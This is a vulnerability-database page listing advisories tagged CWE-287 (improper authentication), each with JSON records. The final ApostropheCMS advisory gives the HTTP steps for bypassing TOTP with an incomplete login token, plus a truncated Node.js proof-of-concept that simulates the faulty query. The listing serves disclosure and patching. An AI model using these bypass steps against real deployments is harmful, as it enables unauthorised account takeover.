Common Weakness Enumeration

CWE-287

Discouraged

Improper Authentication

Abstraction: Class · Status: Draft

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

5970 vulnerabilities reference this CWE, most recent first.

GHSA-V98J-7CRC-WVRJ

Vulnerability from github – Published: 2022-02-09 22:03 – Updated: 2022-02-09 22:03

Summary

Authentication bypass in Apache Shiro

Details

Apache Shiro before 1.7.1, when using Apache Shiro with Spring, a specially crafted HTTP request may cause an authentication bypass.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.shiro:shiro-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.shiro:shiro-spring"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.shiro:shiro-spring-boot-starter"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-17523"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-05T21:20:26Z",
    "nvd_published_at": "2021-02-03T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Apache Shiro before 1.7.1, when using Apache Shiro with Spring, a specially crafted HTTP request may cause an authentication bypass.",
  "id": "GHSA-v98j-7crc-wvrj",
  "modified": "2022-02-09T22:03:57Z",
  "published": "2022-02-09T22:03:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-17523"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/shiro/pull/263"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/SHIRO-797"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r5b93ddf97e2c4cda779d22fab30539bdec454cfa5baec4ad0ffae235@%3Cgitbox.activemq.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r679ca97813384bdb1a4c087810ba44d9ad9c7c11583979bb7481d196@%3Cdev.shiro.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r8244fd0831db894d5e89911ded9c72196d395a90ae655414d23ed0dd@%3Cusers.activemq.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r852971e28f54cafa7d325bd7033115c67d613b112a2a1076817390ac@%3Cdev.shiro.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9d93dfb5df016b1a71a808486bc8f9fbafebbdbc8533625f91253f1d@%3Cdev.shiro.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rce5943430a6136d37a1f2fc201d245fe094e2727a0bc27e3b2d43a39%40%3Cdev.shiro.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd4b613e121438b97e3eb263cac3137caddb1dbd8f648b73a4f1898a6@%3Cissues.activemq.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re25b8317b00a50272a7252c4552cf1a81a97984cc2111ef7728e48e0@%3Cdev.shiro.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "http://shiro.apache.org/download.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authentication bypass in Apache Shiro"
}

GHSA-V9F9-QWJ8-VJFF

Vulnerability from github – Published: 2022-04-30 18:19 – Updated: 2022-04-30 18:19

Details

An interaction between Microsoft Outlook Web Access (OWA) with RSA SecurID allows local users to bypass the SecurID authentication for a previous user via several submissions of an OWA Authentication request with the proper OWA password for the previous user, which is eventually accepted by OWA.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2002-0507"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2002-08-12T04:00:00Z",
    "severity": "LOW"
  },
  "details": "An interaction between Microsoft Outlook Web Access (OWA) with RSA SecurID allows local users to bypass the SecurID authentication for a previous user via several submissions of an OWA Authentication request with the proper OWA password for the previous user, which is eventually accepted by OWA.",
  "id": "GHSA-v9f9-qwj8-vjff",
  "modified": "2022-04-30T18:19:22Z",
  "published": "2022-04-30T18:19:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2002-0507"
    },
    {
      "type": "WEB",
      "url": "http://online.securityfocus.com/archive/1/264705"
    },
    {
      "type": "WEB",
      "url": "http://www.iss.net/security_center/static/8681.php"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/4390"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-V9FH-GGH8-8XQ4

Vulnerability from github – Published: 2022-05-17 00:12 – Updated: 2022-05-17 00:12

Details

The web server in the ECOM Ethernet module in Koyo H0-ECOM, H0-ECOM100, H2-ECOM, H2-ECOM-F, H2-ECOM100, H4-ECOM, H4-ECOM-F, and H4-ECOM100 does not require authentication, which allows remote attackers to perform unspecified functions via unknown vectors.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2012-1808"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-04-13T17:55:00Z",
    "severity": "HIGH"
  },
  "details": "The web server in the ECOM Ethernet module in Koyo H0-ECOM, H0-ECOM100, H2-ECOM, H2-ECOM-F, H2-ECOM100, H4-ECOM, H4-ECOM-F, and H4-ECOM100 does not require authentication, which allows remote attackers to perform unspecified functions via unknown vectors.",
  "id": "GHSA-v9fh-ggh8-8xq4",
  "modified": "2022-05-17T00:12:49Z",
  "published": "2022-05-17T00:12:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-1808"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/74878"
    },
    {
      "type": "WEB",
      "url": "http://www.us-cert.gov/control_systems/pdf/ICSA-12-102-02.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-V9G2-G7J4-4JXC

Vulnerability from github – Published: 2024-05-23 14:00 – Updated: 2024-05-23 14:00

Summary

jupyter-scheduler's endpoint is missing authentication

Details

Impact

jupyter_scheduler is missing an authentication check in Jupyter Server on an API endpoint (GET /scheduler/runtime_environments) which lists the names of the Conda environments on the server. In affected versions, jupyter_scheduler allows an unauthenticated user to obtain the list of Conda environment names on the server. This reveals any information that may be present in a Conda environment name.

This issue does not allow an unauthenticated third party to read, modify, or enter the Conda environments present on the server where jupyter_scheduler is running. This issue only reveals the list of Conda environment names.

Impacted versions: >=1.0.0,<=1.1.5 ; ==1.2.0 ; >=1.3.0,<=1.8.1 ; >=2.0.0,<=2.5.1

Patches

jupyter-scheduler==1.1.6
jupyter-scheduler==1.2.1
jupyter-scheduler==1.8.2
jupyter-scheduler==2.5.2

Workarounds

Server operators who are unable to upgrade can disable the jupyter-scheduler extension with:

jupyter server extension disable jupyter-scheduler

References

If you have any questions or comments about this advisory we ask that you contact AWS/Amazon Security via our vulnerability reporting page [1] or directly via email to aws-security@amazon.com. Please do not create a public GitHub issue.

[1] Vulnerability reporting page: https://aws.amazon.com/security/vulnerability-reporting

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "jupyter-scheduler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "jupyter-scheduler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "fixed": "1.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.2.0"
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "jupyter-scheduler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.0"
            },
            {
              "fixed": "1.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "jupyter-scheduler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-28188"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-23T14:00:15Z",
    "nvd_published_at": "2024-05-23T12:15:10Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\n`jupyter_scheduler` is missing an authentication check in Jupyter Server on an API endpoint (`GET /scheduler/runtime_environments`) which lists the names of the Conda environments on the server. In affected versions, `jupyter_scheduler` allows an unauthenticated user to obtain the list of Conda environment names on the server. This reveals any information that may be present in a Conda environment name.\n\nThis issue does **not** allow an unauthenticated third party to read, modify, or enter the Conda environments present on the server where `jupyter_scheduler` is running. This issue only reveals the list of Conda environment names.\n\nImpacted versions: `\u003e=1.0.0,\u003c=1.1.5 ; ==1.2.0 ; \u003e=1.3.0,\u003c=1.8.1 ; \u003e=2.0.0,\u003c=2.5.1`\n\n### Patches\n\n* `jupyter-scheduler==1.1.6`\n* `jupyter-scheduler==1.2.1`\n* `jupyter-scheduler==1.8.2`\n* `jupyter-scheduler==2.5.2`\n\n### Workarounds\n\nServer operators who are unable to upgrade can disable the `jupyter-scheduler` extension with:\n\n```\njupyter server extension disable jupyter-scheduler\n```\n\n### References\n\nIf you have any questions or comments about this advisory we ask that you contact AWS/Amazon Security via our vulnerability reporting page [1] or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.\n\n[1] Vulnerability reporting page: https://aws.amazon.com/security/vulnerability-reporting\n",
  "id": "GHSA-v9g2-g7j4-4jxc",
  "modified": "2024-05-23T14:00:16Z",
  "published": "2024-05-23T14:00:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jupyter-server/jupyter-scheduler/security/advisories/GHSA-v9g2-g7j4-4jxc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28188"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jupyter-server/jupyter_server/pull/1392"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jupyter-server/jupyter-scheduler/commit/06435a2277bb2b8f441ec9cedafa474572b92c5d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jupyter-server/jupyter-scheduler/commit/a621b386397280cc8ee5a208dca4607cb71cdd65"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jupyter-server/jupyter-scheduler/commit/d428ac871909444e175ba421bf8ab4980d6ebf9f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jupyter-server/jupyter-scheduler/commit/f4137a779fdf0cc4a9688a42dd8c6e7ade60f044"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jupyter-server/jupyter-scheduler"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jupyter-scheduler\u0027s endpoint is missing authentication"
}

GHSA-V9G5-36X8-7XMX

Vulnerability from github – Published: 2025-05-22 15:34 – Updated: 2025-05-22 15:34

Details

An issue has been discovered in GitLab CE/EE affecting all versions from 16.8 before 17.10.7, 17.11 before 17.11.3, and 18.0 before 18.0.1. Group access controls could allow certain users to bypass two-factor authentication requirements.

Severity

4.6 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-0605"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1390",
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-22T15:16:03Z",
    "severity": "MODERATE"
  },
  "details": "An issue has been discovered in GitLab CE/EE affecting all versions from 16.8 before 17.10.7, 17.11 before 17.11.3, and 18.0 before 18.0.1. Group access controls could allow certain users to bypass two-factor authentication requirements.",
  "id": "GHSA-v9g5-36x8-7xmx",
  "modified": "2025-05-22T15:34:51Z",
  "published": "2025-05-22T15:34:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0605"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2919391"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/514204"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V9GQ-XJWR-XJJ5

Vulnerability from github – Published: 2022-06-03 00:00 – Updated: 2022-06-14 00:00

Details

Owl Labs Meeting Owl 5.2.0.15 does not require a password for Bluetooth commands, because only client-side authentication is used.

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2022-31463"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-02T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "Owl Labs Meeting Owl 5.2.0.15 does not require a password for Bluetooth commands, because only client-side authentication is used.",
  "id": "GHSA-v9gq-xjwr-xjj5",
  "modified": "2022-06-14T00:00:35Z",
  "published": "2022-06-03T00:00:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31463"
    },
    {
      "type": "WEB",
      "url": "https://arstechnica.com/information-technology/2022/06/vulnerabilities-in-meeting-owl-videoconference-device-imperil-100k-users"
    },
    {
      "type": "WEB",
      "url": "https://resources.owllabs.com/blog/owl-labs-update"
    },
    {
      "type": "WEB",
      "url": "https://www.modzero.com/static/meetingowl/Meeting_Owl_Pro_Security_Disclosure_Report_RELEASE.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V9HX-V6VF-G36J

Vulnerability from github – Published: 2023-10-17 13:23 – Updated: 2023-10-17 13:23

Summary

WebAuthn4J Spring Security Improper signature counter value handling

Details

Improper signature counter value handling

Impact

A flaw was found in webauthn4j-spring-security-core. When an authneticator returns an incremented signature counter value during authentication, webauthn4j-spring-security-core does not properly persist the value, which means cloned authenticator detection does not work. An attacker who cloned valid authenticator in some way can use the cloned authenticator without being detected.

Patches

Please upgrade to com.webauthn4j:webauthn4j-spring-security-core:0.9.1.RELEASE

References

For more details about WebAuthn signature counters, see WebAuthn specification 6.1.1. Signature Counter Considerations.

Reporter

This issue was discovered by Michael Budnick (@mbudnick)

Severity

4.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.webauthn4j:webauthn4j-spring-security-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.1.RELEASE"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-45669"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-17T13:23:20Z",
    "nvd_published_at": "2023-10-16T19:15:11Z",
    "severity": "MODERATE"
  },
  "details": "Improper signature counter value handling\n\n### Impact\n\nA flaw was found in webauthn4j-spring-security-core. When an authneticator returns an incremented signature counter value during authentication, webauthn4j-spring-security-core does not properly persist the value, which means cloned authenticator detection does not work.\nAn attacker who cloned valid authenticator in some way can use the cloned authenticator without being detected.\n\n### Patches\n\nPlease upgrade to `com.webauthn4j:webauthn4j-spring-security-core:0.9.1.RELEASE`\n\n\n### References\n\nFor more details about WebAuthn signature counters, see [WebAuthn specification 6.1.1. Signature Counter Considerations](https://www.w3.org/TR/2021/REC-webauthn-2-20210408/#sctn-sign-counter).\n\n### Reporter\n\nThis issue was discovered by Michael Budnick (@mbudnick)\n",
  "id": "GHSA-v9hx-v6vf-g36j",
  "modified": "2023-10-17T13:23:20Z",
  "published": "2023-10-17T13:23:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/webauthn4j/webauthn4j-spring-security/security/advisories/GHSA-v9hx-v6vf-g36j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45669"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webauthn4j/webauthn4j-spring-security/commit/129700d74d83f9b9a82bf88ebc63707e3cb0a725"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/webauthn4j/webauthn4j-spring-security"
    },
    {
      "type": "WEB",
      "url": "https://www.w3.org/TR/2021/REC-webauthn-2-20210408/#sctn-sign-counter"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WebAuthn4J Spring Security Improper signature counter value handling"
}

GHSA-V9R8-FPCM-RHVM

Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-07-13 00:01

Details

On all 7.x and 6.x versions (fixed in 8.0.0), BIG-IQ HA ElasticSearch service does not implement any form of authentication for the clustering transport services, and all data used by ElasticSearch for transport is unencrypted. Note: Software versions which have reached End of Software Development (EoSD) are not evaluated.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2021-22997"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-31T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "On all 7.x and 6.x versions (fixed in 8.0.0), BIG-IQ HA ElasticSearch service does not implement any form of authentication for the clustering transport services, and all data used by ElasticSearch for transport is unencrypted. Note: Software versions which have reached End of Software Development (EoSD) are not evaluated.",
  "id": "GHSA-v9r8-fpcm-rhvm",
  "modified": "2022-07-13T00:01:10Z",
  "published": "2022-05-24T17:45:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22997"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K34074377"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V9RM-7RV9-R3FW

Vulnerability from github – Published: 2023-05-12 09:30 – Updated: 2023-05-22 21:30

Summary

Apache OpenMeetings Improper Authentication vulnerability

Details

An attacker that has gained access to certain private information can use this to act as other user.

Vendor: The Apache Software Foundation

Versions Affected: Apache OpenMeetings from 3.1.3 before 7.1.0

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.openmeetings:openmeetings-parent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.3"
            },
            {
              "fixed": "7.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-29032"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-05-12T20:17:54Z",
    "nvd_published_at": "2023-05-12T08:15:08Z",
    "severity": "HIGH"
  },
  "details": "An attacker that has gained access to certain private information can use this to act as other user.\n\nVendor: The Apache Software Foundation\n\nVersions Affected: Apache OpenMeetings from 3.1.3 before 7.1.0",
  "id": "GHSA-v9rm-7rv9-r3fw",
  "modified": "2023-05-22T21:30:33Z",
  "published": "2023-05-12T09:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29032"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/openmeetings/commit/4e89e0ca076c83f26562f1146cf3e81ba0b16a7f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/openmeetings"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/OPENMEETINGS-2764"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/j2d6mg3rzcphfd8vvvk09d8p4o9lvnqp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache OpenMeetings Improper Authentication vulnerability"
}

GHSA-V9XM-FFX2-7H35

Vulnerability from github – Published: 2026-03-18 19:48 – Updated: 2026-03-19 21:14

Summary

ApostropheCMS MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware

Details

MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware

Summary

The bearer token authentication middleware in @apostrophecms/express/index.js (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using @apostrophecms/login-totp or any custom afterPasswordVerified login requirement.

Severity

The AC is High because the attacker must first obtain the victim's password. However, the entire purpose of MFA is to protect accounts when passwords are compromised (credential stuffing, phishing, database breaches), so this bypass negates the security control entirely.

Affected Versions

All versions of ApostropheCMS from 3.0.0 to 4.27.1, when used with @apostrophecms/login-totp or any custom afterPasswordVerified requirement.

Root Cause

In packages/apostrophe/modules/@apostrophecms/express/index.js, the getBearer() function (line 377) queries MongoDB for valid bearer tokens. The query at lines 386-389 is intended to only match tokens where the requirementsToVerify array is either absent (no MFA configured) or empty (all MFA requirements completed):

async function getBearer() {
    const bearer = await self.apos.login.bearerTokens.findOne({
        _id: req.token,
        expires: { $gte: new Date() },
        // requirementsToVerify array should be empty or inexistant
        // for the token to be usable to log in.
        $or: [
            { requirementsToVerify: { $exists: false } },
            { requirementsToVerify: { $ne: [] } }  // BUG
        ]
    });
    return bearer && bearer.userId;
}

The comment correctly states the intent: the array should be "empty or inexistant." However, the MongoDB operator $ne: [] matches documents where requirementsToVerify is NOT an empty array — meaning it matches tokens that still have unverified requirements. This is the exact opposite of the intended behavior.

Token State	`requirementsToVerify`	`$ne: []` result	Should match?
No MFA configured	(field absent)	N/A (`$exists: false` matches)	Yes
TOTP pending	`["AposTotp"]`	`true` (BUG!)	No
All verified	`[]`	`false` (BUG!)	Yes
Field removed (`$unset`)	(field absent)	N/A (`$exists: false` matches)	Yes

Attack Scenario

Prerequisites

ApostropheCMS instance with @apostrophecms/login-totp enabled
Attacker knows the victim's username and password (e.g., from credential stuffing, phishing, or a database breach)
Attacker does NOT know the victim's TOTP secret/code

Steps

Authenticate with password only: ``` POST /api/v1/@apostrophecms/login/login Content-Type: application/json

{"username": "admin", "password": "correct_password", "session": false} ```

Receive incomplete token (server correctly requires TOTP): json {"incompleteToken": "clxxxxxxxxxxxxxxxxxxxxxxxxx"}
Use incomplete token as bearer token (bypassing TOTP): GET /api/v1/@apostrophecms/page Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx
Full authenticated access granted. The bearer token middleware matches the token because requirementsToVerify: ["AposTotp"] satisfies $ne: []. The attacker has complete API access as the victim without ever providing a TOTP code.

Proof of Concept

See mfa-bypass-poc.js — demonstrates the query logic bug with all token states. Run:

#!/usr/bin/env node
/**
 * PoC: MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware
 *
 * ApostropheCMS's bearer token middleware in @apostrophecms/express/index.js
 * has a logic error in the MongoDB query that validates bearer tokens.
 *
 * The comment says:
 *   "requirementsToVerify array should be empty or inexistant
 *    for the token to be usable to log in."
 *
 * But the actual query uses `$ne: []` (NOT equal to empty array),
 * which matches tokens WITH unverified requirements — the exact opposite
 * of the intended behavior.
 *
 * This allows an attacker who knows a user's password (but NOT their
 * TOTP code) to use the "incompleteToken" returned after password
 * verification as a fully authenticated bearer token, bypassing MFA.
 *
 * Affected: ApostropheCMS with @apostrophecms/login-totp (or any
 * custom afterPasswordVerified requirement)
 *
 * File: packages/apostrophe/modules/@apostrophecms/express/index.js:386-389
 */

const RED = '\x1b[91m';
const GREEN = '\x1b[92m';
const YELLOW = '\x1b[93m';
const CYAN = '\x1b[96m';
const RESET = '\x1b[0m';
const BOLD = '\x1b[1m';

// Simulate MongoDB's $ne operator behavior
function mongoNe(fieldValue, compareValue) {
  // MongoDB $ne: true if field value is NOT equal to compareValue
  // For arrays, MongoDB compares by value
  if (Array.isArray(fieldValue) && Array.isArray(compareValue)) {
    if (fieldValue.length !== compareValue.length) return true;
    return fieldValue.some((v, i) => v !== compareValue[i]);
  }
  return fieldValue !== compareValue;
}

// Simulate MongoDB's $exists operator
function mongoExists(doc, field, shouldExist) {
  const exists = field in doc;
  return exists === shouldExist;
}

// Simulate MongoDB's $size operator
function mongoSize(fieldValue, size) {
  if (!Array.isArray(fieldValue)) return false;
  return fieldValue.length === size;
}

// Simulate the VULNERABLE bearer token query (line 386-389)
function vulnerableQuery(token) {
  // $or: [
  //   { requirementsToVerify: { $exists: false } },
  //   { requirementsToVerify: { $ne: [] } }     <-- BUG
  // ]
  const cond1 = mongoExists(token, 'requirementsToVerify', false);
  const cond2 = ('requirementsToVerify' in token)
    ? mongoNe(token.requirementsToVerify, [])
    : false;
  return cond1 || cond2;
}

// Simulate the FIXED bearer token query
function fixedQuery(token) {
  // $or: [
  //   { requirementsToVerify: { $exists: false } },
  //   { requirementsToVerify: { $size: 0 } }    <-- FIX
  // ]
  const cond1 = mongoExists(token, 'requirementsToVerify', false);
  const cond2 = ('requirementsToVerify' in token)
    ? mongoSize(token.requirementsToVerify, 0)
    : false;
  return cond1 || cond2;
}

function banner() {
  console.log(`${CYAN}${BOLD}
╔══════════════════════════════════════════════════════════════════╗
║  ApostropheCMS MFA/TOTP Bypass PoC                              ║
║  Bearer Token Middleware — Incorrect MongoDB Query ($ne vs $eq)  ║
║  @apostrophecms/express/index.js:386-389                         ║
╚══════════════════════════════════════════════════════════════════╝${RESET}
`);
}

function test(name, token, expectedVuln, expectedFixed) {
  const vulnResult = vulnerableQuery(token);
  const fixedResult = fixedQuery(token);

  const vulnCorrect = vulnResult === expectedVuln;
  const fixedCorrect = fixedResult === expectedFixed;

  console.log(`${BOLD}${name}${RESET}`);
  console.log(`  Token: ${JSON.stringify(token)}`);
  console.log(`  Vulnerable query matches: ${vulnResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${vulnCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})`);
  console.log(`  Fixed query matches:      ${fixedResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${fixedCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})`);

  if (vulnResult && !fixedResult) {
    console.log(`  ${RED}=> BYPASS: Token accepted by vulnerable code but rejected by fix!${RESET}`);
  }
  console.log();
  return vulnResult && !fixedResult;
}

// ——— Main ———
banner();
const bypasses = [];

console.log(`${BOLD}--- Token States During Login Flow ---${RESET}\n`);

// 1. Normal bearer token (no MFA configured)
// Created by initialLogin when there are no lateRequirements
// Token: { _id: "xxx", userId: "yyy", expires: Date }
// No requirementsToVerify field at all
test(
  '[Token 1] Normal bearer token (no MFA) — should be ACCEPTED',
  { _id: 'token1', userId: 'user1', expires: new Date(Date.now() + 86400000) },
  true,  // vulnerable: accepted (correct)
  true   // fixed: accepted (correct)
);

// 2. Incomplete token — password verified, TOTP NOT verified
// Created by initialLogin when lateRequirements exist
// Token: { _id: "xxx", userId: "yyy", requirementsToVerify: ["AposTotp"], expires: Date }
const bypass1 = test(
  '[Token 2] Incomplete token (TOTP NOT verified) — should be REJECTED',
  { _id: 'token2', userId: 'user2', requirementsToVerify: ['AposTotp'], expires: new Date(Date.now() + 3600000) },
